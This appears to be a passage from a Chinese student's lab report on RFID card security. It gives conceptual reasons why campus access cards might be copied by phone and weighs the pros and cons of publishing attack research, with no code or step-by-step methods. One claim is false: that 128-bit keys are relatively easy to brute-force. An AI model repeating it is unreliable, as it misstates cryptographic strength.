**影响商业信誉和正常运营：**对于商业机构来说，RFID 卡系统是其运营的重要组成部分。破解行为可能会导致企业遭受经济损失，影响其商业信誉。比如，如果一个商家的会员卡系统被破解，会员权益受到损害，会引起会员不满，进而影响商家的正常经营和品牌形象。

### 1.3 技术层面

**系统安全防护措施：**现在的 RFID 卡系统都有一定的安全防护措施。例如，很多卡片采用了加密技术，包括高级加密标准（AES）等加密算法。这些加密措施使得破解难度大大增加，并且系统运营方也会不断更新安全策略，防止被破解。如果试图破解，很可能会触发系统的安全警报，被追踪到破解行为。

**反制技术手段：**相关机构会采用反制技术来应对潜在的破解行为。比如，银行会采用多因素认证技术，除了 RFID 芯片信息外，还会结合密码、短信验证码等方式来验证用户身份。同时，对于异常的卡片读取行为，系统会进行监测和限制，这使得通过破解 RFID 卡获利的企图很难得逞。

## 2. 假设某高校校园卡可被任意手机复制门禁功能，可能的原因是什么？

答：

可能是校园卡使用了弱的加密算法，攻击者可能能够轻松地获取卡的密钥信息，从而复制门禁功能。或校园卡只是简单的对 UID 进行核实，没有其他加密验证，从而导致只要复制了 UID 就可以通过门禁的情况出现。

### 卡片技术本身的漏洞

- **加密强度不足：**校园卡门禁功能所采用的射频识别（RFID）技术可能使用了较弱的加密算法。例如，早期的一些 RFID 系统使用简单的加密方式甚至是明文传输数据。如果校园卡的门禁信息加密方式很容易被破解，就可能被手机的 NFC（近场通信）功能或者其他射频读取复制设备所复制。像一些简单的低频（LF）或高频（HF）RFID 校园卡，其加密密钥可能比较短，例如 128 位密钥相对容易被暴力破解，从而使得卡片信息能够被获取并复制。
- **协议缺陷：**校园卡所遵循的通信协议可能存在缺陷。例如，在卡片与门禁读卡器之间的信息交互协议中，可能存在可被利用的安全漏洞。有些协议在身份验证过程中，没有足够的防重放攻击机制或者对数据完整性的验证不完善。攻击者可以利用这些协议漏洞，通过手机等设备截获并复制门禁功能相关的信息。

## 门禁系统的管理问题

- **缺乏严格的权限控制：**高校在门禁系统的权限管理上可能不够严格。例如，对于可以接触到门禁系统后台或者相关设备维护的人员，没有进行严格的身份认证和操作记录。内部人员可能会因为疏忽或者恶意，将校园卡门禁功能的复制方法泄露出去。比如，在门禁系统设备维护过程中，维护人员没有遵循安全操作规范，使得门禁系统的关键安全参数（如加密密钥等）被暴露，从而让攻击者能够利用这些信息通过手机等设备进行复制。
- **系统更新不及时：**门禁系统和校园卡技术可能没有及时更新。随着技术的不断发展，黑客攻击手段也日益复杂。如果高校的门禁系统和校园卡长期不进行软件或硬件更新，就容易受到新型攻击方式的威胁。例如，新出现的针对 RFID 卡的中间人攻击（Man - in - the - Middle Attack）手段，可以在门禁系统和卡片通信过程中窃取信息。而如果系统没有更新来防御这种攻击，就可能导致校园卡门禁功能被手机等设备复制。

## 3. 为什么学术界安全会议论文、甚至市场上的书籍会详细讨论攻击某现实应用系统的方法？有何利弊？

答：

好处在于可以让大家更清楚的知道哪些系统具有这些问题、漏洞，从而达到让大家学习或防范的目的。坏处就是可能会被不法分子用于当作学习资料，从而实现对这些系统的攻击或利用。

### 学术研究角度

- **提升安全防御水平：**在学术界，研究攻击方法是为了更好地理解系统的脆弱性。通过对现实应用系统攻击方法的详细探讨，安全研究人员可以发现现有安全机制的漏洞。
- **知识创新与理论探索：**安全领域的知识需要不断更新和拓展。详细分析攻击方法有助于推动新的安全理论和技术的诞生。例如，在密码学领域，对密码攻击方法（如差分密码分析、线性密码分析等）的研究促使了更强大的加密算法（如高级加密标准 AES）的产生。这些新的理论和技术能够为构建更安全的系统提供支持。
- **学术交流与分享：**安全会议论文是安全研究人员交流最新研究成果的重要方式。通过分享攻击方法，不同的研究团队可以互相学习，共同提高对安全问题的认识。这有助于营造一个开放的学术环境，加速安全领域的整体进步。

### 市场书籍角度

- **满足专业人员需求：**市场上的书籍详细讨论攻击方法主要是为了满足安全专业人员（如安全工程师、安全咨询师等）的学习和工作需求。这些专业人员需要深入了解各种攻击手段，以便在实际工作中为企业或组织设计有效的安全防护策略。例如，一本关于网络安全攻防的书籍，会详细介绍网络攻击的工具和方法，帮助网络安全从业者更好地应对潜在的安全威胁。
- **教育和培训目的：**这类书籍也用于安全领域的教育和培训。在大学的信息安全专业课程中，学生需要学习攻击方法来培养实战能力。通过学习攻击方法，学生能够更深刻地理解安全机制的重要性，同时掌握如何检测和防范这些攻击。这就像在医学教育中，学生需要学习疾病的致病机理来更好地进行治疗一样。

#### 利

- **增强系统安全性：**如前面所述，对攻击方法的研究能够直接推动安全防御技术的发展。企业和组织可以根据这些研究成果，及时更新和完善自己的安全系统。例如，在金融领域，银行通过了解信用卡欺诈的最新攻击方法，如克隆卡、钓鱼网站等，能够加强信用卡安全验证机制，如采用多因素认证、实时欺诈检测系统等，从而有效保护客户资金安全。
- **提高安全意识：**详细讨论攻击方法可以让更多的人（包括普通用户、系统管理员等）了解到安全威胁的存在和严重性。这有助于提高全社会的安全意识。例如，当媒体报道了某款手机应用可能存在的恶意软件攻击方法后，用户会更加谨慎地下载和使用应用，同时，手机应用开发者也会更加注重安全开发，及时修复漏洞。

#### 弊

- **增加安全风险：**如果攻击方法的细节落入不法分子手中，可能会被恶意利用。例如，一些黑客组织可能会利用学术论文或书籍中描述的未被广泛知晓的攻击方法，对未及时更新安全防护的系统进行攻击。尤其是一些涉及关键基础设施（如电力系统、交通系统等）的攻击方法，一旦被滥用，可能会对社会安全 and 经济造成严重危害。
- **引发道德争议：**在某些情况下，详细讨论攻击方法可能会引发道德争议。有些人认为，这种讨论可能会鼓励潜在的攻击者，甚至被视为是在“教授犯罪方法”。例如，在讨论如何破解软件版权保护机制的内容时，可能会被软件开发者和版权所有者认为是在助长盗版行为，损害他们的利益。

## 五、收获感悟

初步了解了 RFID 卡的工作原理，对门禁复制的方法有了进一步的掌握，对物联网安全的知识有了更加深入的理解，增加了学习的理解能力和钻研能力。对复制门禁卡探嗅密钥的方法有了更多的心得领会。